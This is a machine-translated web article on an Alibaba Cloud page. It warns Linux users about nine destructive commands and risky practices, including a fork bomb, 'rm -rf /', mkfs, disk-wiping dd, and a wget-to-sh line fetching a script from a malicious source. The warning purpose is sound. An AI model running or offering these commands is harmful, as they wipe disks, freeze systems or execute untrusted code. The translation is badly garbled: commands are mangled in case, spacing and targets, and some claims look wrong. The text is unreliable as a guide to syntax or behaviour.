9 Linux Commands & codes that must always be vigilant

Source: Internet
Author: User

The Linux shell/terminal command is very powerful, even though a simple command can cause folders, files, or path folders to be deleted.

In some cases, Linux does not even ask you to execute commands directly, causing you to lose a variety of data information.

It is generally recommended that new Linux users execute these commands on the web, and of course, someone who has written this code doesn't think so because it's not a joke when you write it down.

Here I have collected some Linux code that is harmful to the system to help you avoid them. Keep in mind that these codes are dangerous and can even be modified to become more damaging.

There are a few things to note: Some commands are dangerous only if you have sudo prefixes in Ubuntu. Other releases of Linux are harmful when used as root commands.

1. Linux Fork Bomb Command

:() {: |: &}: known as fork Bomb, is a Linux system that denies service attacks. :( {: |: &};: is a bash function. As long as it is executed, he will keep repeating until the system is frozen.

You can only restart the system to solve this problem. So when you execute this command on the Linux interface, be sure to pay attention.

2. Mv Folder/dev/null Command

MV Folder/dev/null is also a dangerous command. Dev/null or NULL is a device file that deletes all data written on this device file, but the action prompt is a successful write operation. This is what we often call bit bucked or black hole.

3. RM-RF Command

The RM-RF command allows you to quickly delete a folder and its contents in a Linux system. If you don't know how to use it correctly, you only have to cry.

The most common combinations and choices for the M-RF command are listed below:

    • RM command: Delete files from Linux system
    • Rm-f command: Delete the read-only file from the file without prompting
    • Rm-r command Loop to delete the contents of a folder
    • rm-d command: Delete empty directory, if non-empty directory will not do the operation
    • Rm-rf/command: Force removal of all content and subfolders (including write-protected files) commands in the root directory.
    • rm-rf* command: Force Delete all contents (current working directory) and Word folders in the current directory
    • RM-RF. Command: Forces all content in the current folder directory/subdirectory to be deleted. With rm-r.[^.] *

The rm-r.[^.] * Command: Delete files and folders with Delete prompt

4. Mkfs Command

If you do not know the role of MKFS, then it is also a dangerous command, MKFS after any command will be written by a blank Linux file system format, replace.

The following is a list of commands that require administrator privileges to format a hard disk:

    • Mkfs
    • Mkfs.ext3
    • Mkfs.bfs
    • Mkfs.ext2
    • Mkfs.minix
    • Mkfs.msdos Mkfs.reiserfs
    • Mkfs.vfat
Mkfs.cramfs can also do the same thing as the above code, but does not need to manage source permissions.

5. Tar Bomb

The tar command is used to put multiple files into a file in the . Tar Format (archive file). Tape Archive (Tar) bomb can be created by him.

When compressed, this archive file generates tens of thousands of similar name files that appear in the current directory instead of the new directory.

You can avoid being a victim of tar bomb when you receive a tar file, create a new protection directory on a regular basis, and then place the accepted tar file in this directory before extracting it.

6. Dd Command

The DD command is used to copy & change hard disk partitions. If you use the wrong place, it's also dangerous.

The following is a list of DD commands:

    • DD If=/dev/hda OF=/DEV/HDB
    • DD If=/dev/hda OF=/DEV/SDB
    • DD if=something Of=/dev/hda
    • DD if=something OF=/DEV/SDA

The following command will clear the entire primary drive 0: DD If=/dev/zero of=/dev/had

7. Shell Script Code

Sometimes, you might get a pit, give you a shell script file that lets you download and execute it. The script may contain some malicious or dangerous code. The command form might be like this: wget http://some_malicious_source-o-| Sh. wget will download the script at the moment of the sh narrow script.

8. Malicious Source Code

Maybe someone will give you the source code to get you to compile him. The code may be normal code, but some malicious code is disguised in large source code, and if so, your system is shot. How to avoid it? Only accept and compile source code for trusted sources.

9. Decompression Bomb

You have received a compressed file and you are asked to extract this seemingly small file, which may be as small as KB. In fact, the small size of the compressed file contains highly compressed data.

As long as the file is extracted, hundreds of gigabytes of data will be extracted, at this time, too much data fills the hard drive resulting in downtime, the odds are great. How to avoid it? Or the old saying, do not hand cheap, what files are to receive, please receive trusted source files.

    • Related articles recommended:
    • Linux User management commands (Useradd, adduser)
    • What are the Linux restart commands? Linux Restart command Daquan
    • Examples of Linux finger command usage
    • This article from: Hobby Linux Technology Network
    • This article link: http://www.ahlinux.com/start/cmd/7189.html

9 Linux Commands & codes that must always be vigilant

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.